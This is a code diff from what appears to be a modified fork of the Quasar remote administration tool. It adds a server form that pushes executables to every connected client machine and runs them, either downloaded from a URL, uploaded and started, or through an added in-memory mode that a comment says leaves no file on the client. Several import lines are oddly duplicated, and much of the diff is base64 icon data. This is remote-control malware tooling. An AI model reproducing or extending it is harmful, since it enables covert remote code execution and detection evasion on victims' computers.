System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Update []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteExecution_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteExecution_Load); + this.groupLocalFile.ResumeLayout(false); + this.groupLocalFile.PerformLayout(); + this.groupURL.ResumeLayout(false); + this.groupURL.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnExecute; + private System.Windows.Forms.TextBox txtURL; + private System.Windows.Forms.Label lblURL; + private System.Windows.Forms.GroupBox groupLocalFile; + private System.Windows.Forms.TextBox txtPath; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.GroupBox groupURL; + private System.Windows.Forms.RadioButton radioLocalFile; + private System.Windows.Forms.RadioButton radioURL; + private System.Windows.Forms.Button btnBrowse; + private Controls.AeroListView lstTransfers; + private System.Windows.Forms.ColumnHeader hClient; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.CheckBox chkUpdate; + private System.Windows.Forms.CheckBox chkInMemory; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.cs new file mode 100755 index 0000000..fce2db8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.cs @@ -0,0 +1,241 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteExecution : Form + { + private class RemoteExecutionMessageHandler + { + public FileManagerHandler FileHandler; + public TaskManagerHandler TaskHandler; + } + + /// + /// The clients which can be used for the remote execution. + /// + private readonly Client[] _clients; + + private readonly List _remoteExecutionMessageHandlers; + + private enum TransferColumn + { + Client, + Status + } + + private bool _isUpdate; + + public FrmRemoteExecution(Client[] clients) + { + _clients = clients; + _remoteExecutionMessageHandlers = new List(clients.Length); + + InitializeComponent(); + + foreach (var client in clients) + { + var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler + { + FileHandler = new FileManagerHandler(client), TaskHandler = new TaskManagerHandler(client) + }; + + var lvi = new ListViewItem(new[] + { + $"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]", + "Waiting..." + }) {Tag = remoteExecutionMessageHandler}; + + lstTransfers.Items.Add(lvi); + _remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler); + RegisterMessageHandler(remoteExecutionMessageHandler); + } + } + + /// + /// Registers the message handlers for client communication. + /// + private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + // TODO handle disconnects + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed; + remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(remoteExecutionMessageHandler.FileHandler); + MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler); + } + + /// + /// Unregisters the message handlers. + /// + private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler); + MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler); + remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated; + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed; + } + + private void FrmRemoteExecution_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length); + } + + private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + UnregisterMessageHandler(handler); + handler.FileHandler.Dispose(); + } + + _remoteExecutionMessageHandlers.Clear(); + lstTransfers.Items.Clear(); + } + + private void btnExecute_Click(object sender, EventArgs e) + { + _isUpdate = chkUpdate.Checked; + + if (radioURL.Checked) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + if (!txtURL.Text.StartsWith("http")) + txtURL.Text = "http://" + txtURL.Text; + + handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate); + } + } + else if (chkInMemory.Checked) + { + // Read file bytes on server side, send directly — no temp file on client + if (string.IsNullOrEmpty(txtPath.Text) || !File.Exists(txtPath.Text)) + { + MessageBox.Show("Please select a valid file.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + byte[] payload; + try { payload = File.ReadAllBytes(txtPath.Text); } + catch (Exception ex) + { + MessageBox.Show($"Failed to read file: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + foreach (var handler in _remoteExecutionMessageHandlers) + { + handler.TaskHandler.StartProcessInMemory(payload); + } + } + else + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + handler.FileHandler.BeginUploadFile(txtPath.Text); + } + } + } + + private void btnBrowse_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Multiselect = false; + ofd.Filter = "Executable (*.exe)|*.exe"; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName); + } + } + } + + private void radioLocalFile_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = radioLocalFile.Checked; + groupURL.Enabled = !radioLocalFile.Checked; + } + + private void radioURL_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = !radioURL.Checked; + groupURL.Enabled = radioURL.Checked; + } + + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler) lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = transfer.Status; + + if (transfer.Status == "Completed") + { + handler.TaskHandler.StartProcess(transfer.RemotePath, _isUpdate); + } + return; + } + } + } + + // TODO: update documentation + /// + /// Sets the status of the file manager. + /// + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = message; + return; + } + } + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + if (action != ProcessAction.Start) return; + + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process"; + return; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + 